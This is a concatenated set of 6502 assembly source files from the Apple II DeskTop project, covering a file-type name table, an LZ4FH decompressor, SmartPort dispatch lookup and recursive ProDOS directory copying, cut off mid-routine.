.byte "BAD" ; bad block
.byte "TXT" ; text *
.byte "BIN" ; binary *
.byte "FNT" ; font
.byte "FOT" ; graphics
.byte "DIR" ; directory *
.byte "ADB" ; appleworks db *
.byte "AWP" ; appleworks wp *
.byte "ASP" ; appleworks sp *
.byte "ANM" ; animation
.byte "S16" ; IIgs application
.byte "PNT" ; IIgs Packed Super Hi-Res picture
.byte "PIC" ; IIgs Super Hi-Res picture
.byte "MUS" ; music
.byte "SND" ; sampled sound
.byte "TTS" ; speech
.byte "LBR" ; archival library
.byte "LNK" ; link
.byte "CMD" ; command *
.byte "INT" ; basic *
.byte "IVR" ; variables *
.byte "BAS" ; basic *
.byte "VAR" ; variables *
.byte "REL" ; rel *
.byte "SYS" ; system *
ASSERT_RECORD_TABLE_SIZE type_names_table, kNumFileTypes, 3
.endproc ; ComposeFileTypeString
|
a2stuff/a2d
| 6,746
|
src/lib/lz4fh6502.s
|
;;; From https://github.com/fadden/fhpack
;;; Converted to ca65 format by @inexorabletash
;;; Modifications noted with `A2D`
A2D = 1
;;; Code is covered by Apache License 2.0
;;; http://www.apache.org/licenses/LICENSE-2.0
;;; ********************************
;;; * *
;;; * LZ4FH uncompression for 6502 *
;;; * By Andy McFadden *
;;; * Version 1.0.1, August 2015 *
;;; * *
;;; * Refactored for size & speed *
;;; * by Peter Ferrie. *
;;; * *
;;; * Developed with Merlin-16 *
;;; * *
;;; ********************************
;;;
;;; Constants
;;;
lz4fh_magic := $66 ;ascii 'f'
tok_empty := 253
tok_eod := 254
overrun_check = 0
;;;
;;; Variable storage
;;;
srcptr := $3c ;2b a1l
dstptr := $3e ;2b a1h
copyptr := $00 ;2b
savmix := $02 ;1b
savlen := $03 ;1b
;;;
;;; ROM routines
;;;
.if !A2D ; Unused
bell := $ff3a
monitor := $ff69
.endif
;;;
;;; Parameters, stashed at the top of the text input
;;; buffer. We use this, rather than just having them
;;; poked directly into the code, so that the 6502 and
;;; 65816 implementations work the same way without
;;; either getting weird.
;;;
.if A2D
in_src := $06 ;2b
in_dst := $08 ;2b
.else
in_src := $2fc ;2b
in_dst := $2fe ;2b
.endif
entry:
lda in_src ;copy source address to zero page
sta srcptr
lda in_src+1
sta srcptr+1
lda in_dst ;copy destination address to zero page
sta dstptr
lda in_dst+1
sta dstptr+1
sta _desthi+1
ldy #$00
lda (srcptr),y
cmp #lz4fh_magic ;does magic match?
beq goodmagic
.if A2D ; just return to caller Z=1 on success, Z=0 on error
rts
.else
fail:
jsr bell
jmp monitor
.endif
;;; These stubs increment the high byte and then jump
;;; back. This saves a cycle because branch-not-taken
;;; becomes the common case. We assume that we're not
;;; unpacking data at $FFxx, so BNE is branch-always.
hi2:
inc srcptr+1
bne nohi2
hi3:
inc srcptr+1
clc
bcc nohi3
hi4:
inc dstptr+1
bne nohi4
notempty:
cmp #tok_eod
.if !A2D ; just return to caller Z=1 on success, Z=0 on error
bne fail
.endif
rts ;success!
;;; handle "special" match values (value in A)
specialmatch:
cmp #tok_empty
bne notempty
tya ;empty match, advance srcptr
adc srcptr ; past and jump to main loop
sta srcptr
bcc mainloop
inc srcptr+1
bne mainloop
hi5:
inc srcptr+1
clc
bcc nohi5
goodmagic:
inc srcptr
bne mainloop
inc srcptr+1
mainloop:
;;; Get the mixed-length byte and handle the literal.
ldy #$00
lda (srcptr),y ;get mixed-length byte
sta savmix
lsr A ;get the literal length
lsr A
lsr A
lsr A
beq noliteral
cmp #$0f ;sets carry for >= 15
bne shortlit
inc srcptr
beq hi2
nohi2:
lda (srcptr),y ;get length extension
adc #14 ;(carry set) add 15 - will not exceed 255
;;; At this point, srcptr holds the address of the "mix"
;;; word or the length extension, and dstptr holds the
;;; address of the next output location. So we want to
;;; read from (srcptr),y+1 and write to (dstptr),y.
;;; We can do this by sticking the DEY between the LDA
;;; and STA.
;;;
;;; We could save a couple of cycles by substituting
;;; addr,y in place of (dp),y, but the added setup cost
;;; would only benefit longer literal strings.
shortlit: tax
tay
@litloop:
lda (srcptr),y ;5
dey ;2 if len is 255, copy 0-254
sta (dstptr),y ;6
bne @litloop ;3 -> 16 cycles/byte
;;; Advance srcptr by savlen+1, and dstptr by savlen
txa
sec ;this gets us the +1
adc srcptr
sta srcptr
bcs hi3
nohi3: ;carry cleared by hi3
txa
adc dstptr
sta dstptr
bcs hi4
nohi4:
dey ;Y=0; DEY so next INY goes to 0
;;; Handle match. Y holds an offset into srcptr such
;;; that we need to increment it once to get the next
;;; interesting byte.
noliteral:
lda savmix
and #$0f
cmp #$0f
bcc @shortmatch
iny
lda (srcptr),y ;get length extension
cmp #237 ;"normal" values are 0-236
bcs specialmatch
adc #15 ;will not exceed 255
;;; Put the destination address into copyptr.
@shortmatch:
adc #4 ;min match; won't exceed 255
sta savlen ;save match len for later
tax ;and keep it in X
iny
lda (srcptr),y ;match offset, lo
sta copyptr
iny
lda (srcptr),y ;match offset, hi
_desthi: ora #$00 ;OR in hi-res page
sta copyptr+1
;;; Advance srcptr past the encoded match while we still
;;; remember how many bytes it took to encode. Y is
;;; indexing the last value used, so we want to go
;;; advance srcptr by Y+1.
tya
sec
adc srcptr
sta srcptr
bcs hi5
nohi5: ;hi5 clears carry
;;; Copy the match. The length is in X. Note this
;;; must be a forward copy so overlapped data works.
;;;
;;; We know the match is at least 4 bytes long, so
;;; we could save a few cycles by not doing the
;;; ADC #4 earlier, and unrolling the first 4
;;; load/store operations here.
ldy #$00
@copyloop:
lda (copyptr),y ;5
sta (dstptr),y ;6
iny ;2
dex ;2
bne @copyloop ;3 -> 18 cycles/byte
;;; advance dstptr past copied data
lda dstptr
adc savlen ;carry is clear
sta dstptr
bcc mainloop
inc dstptr+1
.if A2D
;; Decoding to $2000
lda dstptr+1
cmp #$40
bcc mainloop
lda #$FF ; Z=0 signals failure
rts
.else
.if overrun_check
LDA dstptr+1
CMP #$60
bcc mainloop
BRK
BRK
.else
bne mainloop ;always (not unpacking at $FFxx)
.endif
.endif
|
a2stuff/a2d
| 6,646
|
src/lib/smartport.s
|
;;; NOTE: Can be called with ALTZPON or OFF, and LCBANK1 or ROMIN2;
;;; the initial banking state will be preserved.
;;; Internal ProDOS tables are used to handle mirrored drives. The
;;; locations vary between ProDOS versions. For details, see:
;;; https://github.com/a2stuff/a2d/issues/685
;;; TODO: Handle additional versions, either by adding more
;;; logic or building mirroring tables ourselves on startup.
DevAdrP24 = $FCE6
SPUnitP24 = $D6EF ; absolute
SPVecLP24 = $FD51 ; DevAdr + 107
SPVecHP24 = $FD60 ; SPVecL + 15 (constant offset)
DevAdrP20x = $FD08
SPUnitP20x = $D6EF ; absolute
SPVecLP20x = $FD6E ; DevAdr + 102
SPVecHP20x = $FD7D ; SPVecL + 15 (constant offset)
.assert SPUnitP20x = SPUnitP24, error, "mismatch"
.assert (SPVecHP20x - SPVecLP20x) = (SPVecHP24 - SPVecLP24), error, "mismatch"
;;; ============================================================
;;; Look up SmartPort dispatch address.
;;; Input: A = unit number
;;; Output: C=0 if SP, A,X=dispatch address, Y = SP unit num
;;; C=1 if not SP
;;; Uses $10...$12 on both zero pages
.proc FindSmartportDispatchAddress
.struct
.org $10
dispatch .word
mirrored_slot .byte
.endstruct
sta unit_number ; DSSSnnnn
;; Get device driver address
jsr DeviceDriverAddress
bvs mirrored ; mirrored by ProDOS 2.x
bne fail ; RAM-based driver
;; --------------------------------------------------
;; Not mirrored, or mirrored by ProDOS 1.x
;; Find actual SmartPort dispatch address
lda #0
sta dispatch ; $Cn00
stx dispatch+1
ldy #$07
lda (dispatch),y ; SmartPort signature byte ($Cn07)
bne fail ; nope (exit with Z=0 on failure)
;;; Per Technical Note: ProDOS #21: Mirrored Devices and SmartPort
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.20.html
;;; ... but that predates ProDOS 2.x, which changes the scheme.
;;;
;;; Since we know that the `DEVADR` entry is a firmware ($Cn) address:
;;;
;;; * ProDOS 1.2...1.9 mirror S5,D3/4 to S2,D1/2 only, and leave `DEVADR`
;;; entry pointing at $C5xx. Therefore, if the unit number slot matches
;;; the driver slot, the device is not mirrored, and SmartPort unit is
;;; 1 or 2. Otherwise, the device is mirrored, and SmartPort unit is 3
;;; or 4.
;;;
;;; * ProDOS 2.x mirror to non-device slots, and point `DEVADR` at
;;; RAM-based drivers, which are already excluded above. Therefore the
;;; device is not mirrored, the unit number slot will match the driver
;;; slot, and the SmartPort unit is 1 or 2.
;; Locate SmartPort entry point: $Cn00 + ($CnFF) + 3
ldy #$FF
lda (dispatch),y
clc
adc #3
sta dispatch ; low byte
;; Figure out SmartPort control unit number in Y
ldy #1 ; start with unit 1
bit unit_number ; high bit is D
IF_NS
iny ; Y = 1 or 2 (for Drive 1 or 2)
END_IF
;; Was it mirrored? (ProDOS 1.x-only behavior)
unit_number := *+1
lda #SELF_MODIFIED_BYTE
and #%01110000 ; 0SSSnnnn
lsr
lsr
lsr
lsr
sta mirrored_slot ; 00000SSS
lda dispatch+1 ; $Cn
and #%00001111 ; $0n
IF_A_NE mirrored_slot ; equal = not mirrored
iny ; now Y = 3 or 4
iny
END_IF
ldax dispatch
clc ; Y = SmartPort unit number
rts
fail: sec
rts
;; --------------------------------------------------
;; Mirrored SmartPort device with a known handler.
;; Look at ProDOS's internal tables to determine.
mirrored:
;; Save and change banking
bit RDALTZP
sta ALTZPOFF ; preserve state on main stack
php
bit RDLCRAM
php
bit LCBANK1
bit LCBANK1
;; Point `dispatch` at SPVecL table
sta dispatch
tya ; Y = offset from start of driver
clc
adc dispatch
sta dispatch
bcc :+
inx
: stx dispatch+1
;; Calculate index into table (0...15)
lda unit_number
lsr
lsr
lsr
lsr
tay ; Y = offset into tables
lda (dispatch),y
pha ; A = sp vec lo
lda SPUnitP20x,y
pha ; A = sp unit
tya
clc
adc #(SPVecHP20x - SPVecLP20x)
tay
lda (dispatch),y
tax ; X = sp vec hi
pla
tay ; Y = sp unit
pla ; A = sp vec lo
;; Restore banking
plp
IF_NC
bit ROMIN2 ; restore ROMIN2
END_IF
plp
IF_NS
sta ALTZPON ; restore ALTZPON
END_IF
;; Exit
clc
rts
.endproc ; FindSmartportDispatchAddress
;;; ============================================================
;;; Get driver address for unit number
;;; Input: A = unit number (no need to mask it)
;;; Output: A,X=driver address
;;; V=1 if a mirrored SmartPort device, and Y is table offset
;;; Z=1 if a firmware address ($CnXX)
.proc DeviceDriverAddress
clv
and #UNIT_NUM_MASK ; mask off drive/slot
lsr ; 0DSSS000
lsr ; 00DSSS00
lsr ; 000DSSS0
tay ; = slot * 2 + (drive == 2 ? 0x10 + 0x00)
lda DEVADR,y ; A = lo
ldx DEVADR+1,y ; X = hi
;; ProDOS 2.x SmartPort mirroring?
ldy #(SPVecLP24 - DevAdrP24)
cmp #<DevAdrP24
IF_EQ
cpx #>DevAdrP24
beq mirrored
END_IF
ldy #(SPVecLP20x - DevAdrP20x)
cmp #<DevAdrP20x
IF_EQ
cpx #>DevAdrP20x
beq mirrored
END_IF
;; Not mirrored - set Z flag for firmware address
pha
txa
and #$F0
tay
pla
cpy #$C0 ; leave Z set if it is $Cn
rts
mirrored:
bit ret ; set V
ret: rts
.endproc ; DeviceDriverAddress
|
a2stuff/a2d
| 25,956
|
src/lib/recursive_copy.s
|
;;; ============================================================
;;; Generic Recursive Operation Logic
;;; ============================================================
;;; Implements recursive directory iteration; callers must implement a
;;; set of callbacks and error handlers. For file copying (the most
;;; common case), default callback implementations are provided.
;;; Callers must define:
;;;
;;; ----------------------------------------
;;; Identifiers
;;; ----------------------------------------
;;; * `dir_io_buffer` - 1024 bytes for I/O
;;; * `dir_data_buffer` - 256 bytes for miscellaneous data
;;; * `src_io_buffer` - 1024 bytes for I/O
;;; * `dst_io_buffer` - 1024 bytes for I/O
;;; * `copy_buffer` and `kCopyBufferSize` (integral number of blocks)
;;; * `::kCopyIgnoreDuplicateErrorOnCreate` (0 or 1)
;;; * `::kCopyCheckSpaceAvailable` (0 or 1)
;;;
;;; ----------------------------------------
;;; Callbacks
;;; ----------------------------------------
;;; * `OpCheckCancel` - called regularly, allows caller to abort (close all open files, restore stack, hide UI)
;;; * `OpInsertSource` - called by `DoCopy`
;;; * `OpHandleErrorCode` - shows error, restores stack
;;; * `OpHandleNoSpace` - shows error, restores stack
;;; * `OpUpdateProgress` - updates UI and returns
;;;
;;; * `OpProcessDirectoryEntry` - called for each directory entry
;;; * `OpResumeDirectory` - called when resuming directory enumeration
;;; * `OpFinishDirectory` - called when enumerating a directory is complete
;;;
;;; For file copies:
;;; * `OpProcessDirectoryEntry` can use `CopyProcessDirectoryEntry`
;;; * `OpResumeDirectory` should be `RemoveDstPathSegment` (to keep in sync w/ src path)
;;; * `OpFinishDirectory` can be `NoOp`
;;; For enumeration:
;;; * `OpProcessDirectoryEntry` can increment a count and inspect `file_entry`
;;; * `OpResumeDirectory` can be `NoOp`
;;; * `OpFinishDirectory` can be `NoOp`
;;; For deletion:
;;; * `OpProcessDirectoryEntry` should delete non-directory files
;;; * `OpResumeDirectory` can be `NoOp`
;;; * `OpFinishDirectory` should delete the directory
;;; ----------------------------------------
;;; Entry points
;;; ----------------------------------------
;;; Doing real work:
;;; * `ProcessDirectory` - iterate `pathname_src` dir recursively and invoke callbacks
;;; * `DoCopy` - copy `pathname_src` to `pathname_dst`; calls `ProcessDirectory` if needed
;;; Utilities:
;;; * `AppendFileEntryToSrcPath` - uses `file_entry` and `pathname_src`
;;; * `AppendFileEntryToDstPath` - uses `file_entry` and `pathname_dst`
;;; * `RemoveSrcPathSegment` - modifies `pathname_src`
;;; * `RemoveDstPathSegment` - modifies `pathname_dst`
;;; * `NoOp` - just a handy `RTS`
;;;
;;; ----------------------------------------
;;; Parameters
;;; ----------------------------------------
;;; `pathname_src` - source pathname
;;; `pathname_dst` - destination pathname (for copies)
.assert .lobyte(dir_io_buffer) = 0, error, "I/O buffers must be page-aligned"
.assert .lobyte(src_io_buffer) = 0, error, "I/O buffers must be page-aligned"
.assert .lobyte(dst_io_buffer) = 0, error, "I/O buffers must be page-aligned"
.assert .lobyte(copy_buffer) = 0, error, "page-align copy buffer for better performance"
.assert (kCopyBufferSize .mod BLOCK_SIZE) = 0, error, "integral number of blocks needed for sparse copies and performance"
NoOp: rts
;;; Specific file paths (`pathname_dst` only used during copy)
pathname_src: .res ::kPathBufferSize, 0
pathname_dst: .res ::kPathBufferSize, 0
;; Populated during iteration
DEFINE_GET_FILE_INFO_PARAMS src_file_info_params, pathname_src
DEFINE_GET_FILE_INFO_PARAMS dst_file_info_params, pathname_dst
;;; ============================================================
;;; Directory enumeration parameter blocks and state
;; 4 bytes is .sizeof(SubdirectoryHeader) - .sizeof(FileEntry)
kBlockPointersSize = 4
;; Blocks are 512 bytes, 13 entries of 39 bytes each leaves 5 bytes between.
;; Except first block, directory header is 39+4 bytes, leaving 1 byte, but then
;; block pointers are the next 4.
kMaxPaddingBytes = 5
ASSERT_EQUALS .sizeof(SubdirectoryHeader) - .sizeof(FileEntry), kBlockPointersSize
PARAM_BLOCK, dir_data_buffer
;;; Read buffers
buf_block_pointers .res kBlockPointersSize
buf_padding_bytes .res kMaxPaddingBytes
file_entry .tag FileEntry
;;; State for directory recursion
recursion_depth .byte ; How far down the directory structure are we
entries_per_block .byte ; Number of file entries per directory block
entry_index_in_dir .word
target_index .word
;;; During directory traversal, the number of file entries processed
;;; at the current level is pushed here, so that following a descent
;;; the previous entries can be skipped.
index_stack_lo .res ::kDirStackSize
index_stack_hi .res ::kDirStackSize
stack_index .byte
entry_index_in_block .byte
dir_data_buffer_end .byte
END_PARAM_BLOCK
.assert dir_data_buffer_end - dir_data_buffer <= 256, error, "too big"
DEFINE_OPEN_PARAMS open_src_dir_params, pathname_src, dir_io_buffer
DEFINE_READWRITE_PARAMS read_block_pointers_params, buf_block_pointers, kBlockPointersSize ; For skipping prev/next pointers in directory data
DEFINE_READWRITE_PARAMS read_src_dir_entry_params, file_entry, .sizeof(FileEntry)
DEFINE_READWRITE_PARAMS read_padding_bytes_params, buf_padding_bytes, kMaxPaddingBytes
DEFINE_CLOSE_PARAMS close_src_dir_params
;;; ============================================================
;;; Iterate directory entries
;;; Inputs: `pathname_src` points at source directory
.proc ProcessDirectory
lda #0
sta recursion_depth
sta stack_index
jsr _OpenSrcDir
loop:
jsr _ReadFileEntry
IF_ZERO
param_call AdjustFileEntryCase, file_entry
lda file_entry + FileEntry::storage_type_name_length
beq loop ; deleted
pha ; A = `storage_type_name_length`
;; Requires `storage_type_name_length` to be intact
jsr _ConvertFileEntryToFileInfo
;; Simplify to length-prefixed string
pla ; A = `storage_type_name_length`
and #NAME_LENGTH_MASK
sta file_entry
jsr OpCheckCancel
CLEAR_BIT7_FLAG entry_err_flag
jsr OpProcessDirectoryEntry
bit entry_err_flag ; don't recurse if the copy failed
bmi loop
lda file_entry + FileEntry::file_type
cmp #FT_DIRECTORY
bne loop ; and don't recurse unless it's a directory
;; Recurse into child directory
jsr _DescendDirectory
inc recursion_depth
bpl loop ; always
END_IF
lda recursion_depth
IF_NOT_ZERO
jsr _AscendDirectory
dec recursion_depth
bpl loop ; always
END_IF
jmp _CloseSrcDir
.endproc ; ProcessDirectory
;;; Set on error during copying of a single file
entry_err_flag: .byte 0 ; bit7
;;; ============================================================
;;; Populate `src_file_info_params` from `file_entry`
.proc _ConvertFileEntryToFileInfo
ldx #kMapSize-1
DO
ldy map,x
copy8 file_entry,y, src_file_info_params::access,x
dex
WHILE_POS
;; Fix `storage_type`
ldx #4
DO
lsr src_file_info_params::storage_type
dex
WHILE_NOT_ZERO
rts
;;; index is offset in `src_file_info_params`, value is offset in `file_entry`
map: .byte FileEntry::access
.byte FileEntry::file_type
.byte FileEntry::aux_type
.byte FileEntry::aux_type+1
.byte FileEntry::storage_type_name_length
.byte FileEntry::blocks_used
.byte FileEntry::blocks_used+1
.byte FileEntry::mod_date
.byte FileEntry::mod_date+1
.byte FileEntry::mod_time
.byte FileEntry::mod_time+1
.byte FileEntry::creation_date
.byte FileEntry::creation_date+1
.byte FileEntry::creation_time
.byte FileEntry::creation_time+1
kMapSize = * - map
.endproc ; _ConvertFileEntryToFileInfo
;;; ============================================================
.proc _PushIndexToStack
ldx stack_index
copy8 target_index, index_stack_lo,x
copy8 target_index+1, index_stack_hi,x
inc stack_index
rts
.endproc ; _PushIndexToStack
;;; ============================================================
.proc _PopIndexFromStack
dec stack_index
ldx stack_index
copy8 index_stack_lo,x, target_index
copy8 index_stack_hi,x, target_index+1
rts
.endproc ; _PopIndexFromStack
;;; ============================================================
;;; Open the source directory for reading, skipping header.
;;; Inputs: `pathname_src` set to dir
.proc _OpenSrcDir
lda #0
sta entry_index_in_dir
sta entry_index_in_dir+1
sta entry_index_in_block
MLI_CALL OPEN, open_src_dir_params
IF_CS
fail: jmp OpHandleErrorCode
END_IF
lda open_src_dir_params::ref_num
sta read_block_pointers_params::ref_num
sta read_src_dir_entry_params::ref_num
sta read_padding_bytes_params::ref_num
sta close_src_dir_params::ref_num
;; Skip over prev/next block pointers in header
MLI_CALL READ, read_block_pointers_params
bcs fail
;; Header size is next/prev blocks + a file entry
copy8 #13, entries_per_block ; so `_ReadFileEntry` doesn't immediately advance
jsr _ReadFileEntry ; read the rest of the header
ASSERT_EQUALS .sizeof(SubdirectoryHeader), .sizeof(FileEntry) + 4
copy8 file_entry-4 + SubdirectoryHeader::entries_per_block, entries_per_block
rts
.endproc ; _OpenSrcDir
;;; ============================================================
.proc _CloseSrcDir
MLI_CALL CLOSE, close_src_dir_params
IF_CS
jmp OpHandleErrorCode
END_IF
rts
.endproc ; _CloseSrcDir
;;; ============================================================
;;; Read the next file entry in the directory into `file_entry`
;;; NOTE: Also used to read the vol/dir header.
.proc _ReadFileEntry
inc16 entry_index_in_dir
MLI_CALL READ, read_src_dir_entry_params
IF_CS
cmp #ERR_END_OF_FILE
beq eof
fail: jmp OpHandleErrorCode
END_IF
inc entry_index_in_block
lda entry_index_in_block
IF_A_GE entries_per_block
;; Advance to first entry in next "block"
copy8 #0, entry_index_in_block
MLI_CALL READ, read_padding_bytes_params
bcs fail
END_IF
return #0
eof: return #$FF
.endproc ; _ReadFileEntry
;;; ============================================================
;;; Record the current index in the current directory, and
;;; recurse to the child directory in `file_entry`.
.proc _DescendDirectory
copy16 entry_index_in_dir, target_index
jsr _CloseSrcDir
jsr _PushIndexToStack
jsr AppendFileEntryToSrcPath
jmp _OpenSrcDir
.endproc ; _DescendDirectory
;;; ============================================================
;;; Close the current directory and resume iterating in the
;;; parent directory where we left off.
.proc _AscendDirectory
jsr _CloseSrcDir
jsr OpFinishDirectory
jsr RemoveSrcPathSegment
jsr _PopIndexFromStack
jsr _OpenSrcDir
: cmp16 entry_index_in_dir, target_index
IF_LT
jsr _ReadFileEntry
jmp :-
END_IF
jmp OpResumeDirectory
.endproc ; _AscendDirectory
;;; ============================================================
;;; Append name at `file_entry` to path at `pathname_src`
.proc AppendFileEntryToSrcPath
lda file_entry+FileEntry::storage_type_name_length
IF_NOT_ZERO
ldx #0
ldy pathname_src
copy8 #'/', pathname_src+1,y
DO
iny
BREAK_IF_X_GE file_entry+FileEntry::storage_type_name_length
copy8 file_entry+FileEntry::file_name,x, pathname_src+1,y
inx
WHILE_NOT_ZERO ; always
sty pathname_src
END_IF
rts
.endproc ; AppendFileEntryToSrcPath
;;; ============================================================
;;; Remove segment from path at `pathname_src`
.proc RemoveSrcPathSegment
ldx pathname_src
IF_NOT_ZERO
lda #'/'
DO
cmp pathname_src,x
beq :+
dex
WHILE_NOT_ZERO
inx
:
dex
stx pathname_src
END_IF
rts
.endproc ; RemoveSrcPathSegment
;;; ============================================================
;;; Append name at `file_entry` to path at `pathname_dst`
.proc AppendFileEntryToDstPath
lda file_entry+FileEntry::storage_type_name_length
IF_NOT_ZERO
ldx #0
ldy pathname_dst
copy8 #'/', pathname_dst+1,y
DO
iny
BREAK_IF_X_GE file_entry+FileEntry::storage_type_name_length
copy8 file_entry+FileEntry::file_name,x, pathname_dst+1,y
inx
WHILE_NOT_ZERO ; always
sty pathname_dst
END_IF
rts
.endproc ; AppendFileEntryToDstPath
;;; ============================================================
;;; Remove segment from path at `pathname_dst`
.proc RemoveDstPathSegment
ldx pathname_dst
IF_NOT_ZERO
lda #'/'
DO
cmp pathname_dst,x
beq :+
dex
WHILE_NOT_ZERO
inx
:
dex
stx pathname_dst
END_IF
rts
.endproc ; RemoveDstPathSegment
;;; ============================================================
;;; Standard Copy Implementation
;;; ============================================================
;;; ============================================================
;;; File copy parameter blocks
DEFINE_CREATE_PARAMS create_params, pathname_dst, ACCESS_DEFAULT
DEFINE_OPEN_PARAMS open_src_params, pathname_src, src_io_buffer
DEFINE_OPEN_PARAMS open_dst_params, pathname_dst, dst_io_buffer
DEFINE_READWRITE_PARAMS read_src_params, copy_buffer, kCopyBufferSize
DEFINE_READWRITE_PARAMS write_dst_params, copy_buffer, kCopyBufferSize
DEFINE_SET_MARK_PARAMS mark_dst_params, 0
DEFINE_CLOSE_PARAMS close_src_params
DEFINE_CLOSE_PARAMS close_dst_params
;;; ============================================================
;;; Perform the recursive file copy.
;;; Inputs: `pathname_src` is source path
;;; `pathname_dst` is destination path
.proc DoCopy
;; Check destination
MLI_CALL GET_FILE_INFO, dst_file_info_params
IF_A_NE_ALL_OF #ERR_FILE_NOT_FOUND, #ERR_VOL_NOT_FOUND, #ERR_PATH_NOT_FOUND
jmp OpHandleErrorCode
END_IF
;; Get source info
retry: MLI_CALL GET_FILE_INFO, src_file_info_params
IF_CS
IF_A_EQ_ONE_OF #ERR_VOL_NOT_FOUND, #ERR_FILE_NOT_FOUND
jsr OpInsertSource
jmp retry
END_IF
jmp OpHandleErrorCode
END_IF
.if ::kCopyCheckSpaceAvailable
jsr _RecordDestVolBlocksFree
.endif
;; Regular file or directory?
lda src_file_info_params::storage_type
IF_A_NE_ALL_OF #ST_VOLUME_DIRECTORY, #ST_LINKED_DIRECTORY
;; --------------------------------------------------
;; File
.if ::kCopyCheckSpaceAvailable
jsr _EnsureSpaceAvailable
.endif
jsr _CopyCreateFile
jmp _CopyNormalFile
END_IF
;; --------------------------------------------------
;; Directory
.if ::kCopyCheckSpaceAvailable
jsr _EnsureSpaceAvailable
.endif
jsr _CopyCreateFile
jmp ProcessDirectory
.endproc ; DoCopy
;;; ============================================================
;;; Copy an entry in a directory - regular file or directory.
;;; Inputs: `file_entry` populated with `FileEntry`
;;; `src_file_info_params` populated
;;; `pathname_src` has source directory path
;;; `pathname_dst` has destination directory path
;;; Errors: `OpHandleErrorCode` is invoked
.proc CopyProcessDirectoryEntry
jsr AppendFileEntryToDstPath
jsr AppendFileEntryToSrcPath
jsr OpUpdateProgress
;; Called with `src_file_info_params` pre-populated
lda src_file_info_params::storage_type
IF_A_NE #ST_LINKED_DIRECTORY
;; --------------------------------------------------
;; File
.if ::kCopyCheckSpaceAvailable
jsr _EnsureSpaceAvailable
.endif
jsr _CopyCreateFile
bcs done
jsr _CopyNormalFile
ELSE
;; --------------------------------------------------
;; Directory
jsr _CopyCreateFile
bcc ok_dir ; leave dst path segment in place for recursion
SET_BIT7_FLAG entry_err_flag
END_IF
;; --------------------------------------------------
done: jsr RemoveDstPathSegment
ok_dir: jsr RemoveSrcPathSegment
rts
.endproc ; CopyProcessDirectoryEntry
;;; ============================================================
;;; Record the number of blocks free on the destination volume.
;;; Input: `pathname_dst` is path on destination volume
;;; Output: `blocks_free` has the free block count
.if ::kCopyCheckSpaceAvailable
.proc _RecordDestVolBlocksFree
;; Isolate destination volume name
lda pathname_dst
pha ; A = `pathname_dst` saved length
;; Strip to vol name - either end of string or next slash
ldy #1
DO
iny
cpy pathname_dst
bcs :+
lda pathname_dst,y
WHILE_A_NE #'/'
sty pathname_dst
:
;; Get total blocks/used blocks on destination volume
MLI_CALL GET_FILE_INFO, dst_file_info_params
jcs OpHandleErrorCode
;; Free = Total (aux) - Used
sub16 dst_file_info_params::aux_type, dst_file_info_params::blocks_used, blocks_free
pla ; A = `pathname_dst` saved length
sta pathname_dst
rts
blocks_free: ; Blocks free on volume
.word 0
.endproc ; _RecordDestVolBlocksFree
.endif
;;; ============================================================
;;; Check that there is room to copy a file. Handles overwrites.
;;; If not enough space, control is passed to `OpHandleNoSpace`
;;; (which will not return). Only returns if there is enough space.
;;; Inputs: `src_file_info_params` is populated; `pathname_dst` is target
;;; and `_RecordDestVolBlocksFree` has been called.
.if ::kCopyCheckSpaceAvailable
.proc _EnsureSpaceAvailable
blocks_free := _RecordDestVolBlocksFree::blocks_free
;; Get destination size (in case of overwrite)
MLI_CALL GET_FILE_INFO, dst_file_info_params
IF_CC
;; Assume those blocks will be freed
add16 blocks_free, dst_file_info_params::blocks_used, blocks_free
ELSE_IF_A_NE #ERR_FILE_NOT_FOUND
jmp OpHandleErrorCode
END_IF
;; Does it fit? (free >= needed)
cmp16 blocks_free, src_file_info_params::blocks_used
IF_LT
;; Not enough room
jmp OpHandleNoSpace
END_IF
;; Assume those blocks will be used
add16 blocks_free, src_file_info_params::blocks_used, blocks_free
rts
.endproc ; _EnsureSpaceAvailable
.endif
;;; ============================================================
;;; Copy a normal (non-directory) file. File info is copied too.
;;; Inputs: `open_src_params` populated
;;; `open_dst_params` populated; file already created
;;; `src_file_info_params` populated
;;; Errors: `OpHandleErrorCode` is invoked
.proc _CopyNormalFile
;; Open source
MLI_CALL OPEN, open_src_params
bcs fail
;; Open destination
MLI_CALL OPEN, open_dst_params
bcs fail
lda open_src_params::ref_num
sta read_src_params::ref_num
sta close_src_params::ref_num
lda open_dst_params::ref_num
sta write_dst_params::ref_num
sta mark_dst_params::ref_num
sta close_dst_params::ref_num
lda #0
sta mark_dst_params::position
sta mark_dst_params::position+1
sta mark_dst_params::position+2
;; Read a chunk
DO
copy16 #kCopyBufferSize, read_src_params::request_count
jsr OpCheckCancel
MLI_CALL READ, read_src_params
IF_CS
cmp #ERR_END_OF_FILE
beq close
fail: jmp OpHandleErrorCode
END_IF
;; EOF?
lda read_src_params::trans_count
ora read_src_params::trans_count+1
beq close
;; Write the chunk
jsr OpCheckCancel
jsr _WriteDst
bcs fail
WHILE_CC ; always
;; Close source and destination
close: MLI_CALL CLOSE, close_dst_params
MLI_CALL CLOSE, close_src_params
;; Copy file info
COPY_BYTES $B, src_file_info_params::access, dst_file_info_params::access
copy8 #7, dst_file_info_params ; `SET_FILE_INFO` param_count
MLI_CALL SET_FILE_INFO, dst_file_info_params
copy8 #10, dst_file_info_params ; `GET_FILE_INFO` param_count
rts
;;; Write the buffer to the destination file, being mindful of sparse blocks.
.proc _WriteDst
;; Always start off at start of copy buffer
copy16 read_src_params::data_buffer, write_dst_params::data_buffer
DO
;; Assume we're going to write everything we read. We may
;; later determine we need to write it out block-by-block.
copy16 read_src_params::trans_count, write_dst_params::request_count
;; Assert: We're only ever copying to a RAMDisk, not AppleShare.
;; https://prodos8.com/docs/technote/30
;; Is there less than a full block? If so, just write it.
lda read_src_params::trans_count+1
cmp #.hibyte(BLOCK_SIZE)
bcc do_write ; ...and done!
;; Otherwise we'll go block-by-block, treating all zeros
;; specially.
copy16 #BLOCK_SIZE, write_dst_params::request_count
;; First two blocks are never made sparse. The first block is
;; never sparsely allocated (P8 TRM B.3.6 - Sparse Files) and
;; the transition from seedling to sapling is not handled
;; correctly in all versions of ProDOS.
;; https://prodos8.com/docs/technote/30
;; Assert: mark low byte is $00
lda mark_dst_params::position+1
and #%11111100
ora mark_dst_params::position+2
IF_NOT_ZERO
;; Is this block all zeros? Scan all $200 bytes
;; (Note: coded for size, not speed, since we're I/O bound)
ptr := $06
copy16 write_dst_params::data_buffer, ptr ; first half
ldy #0
tya
DO
ora (ptr),y
iny
WHILE_NOT_ZERO
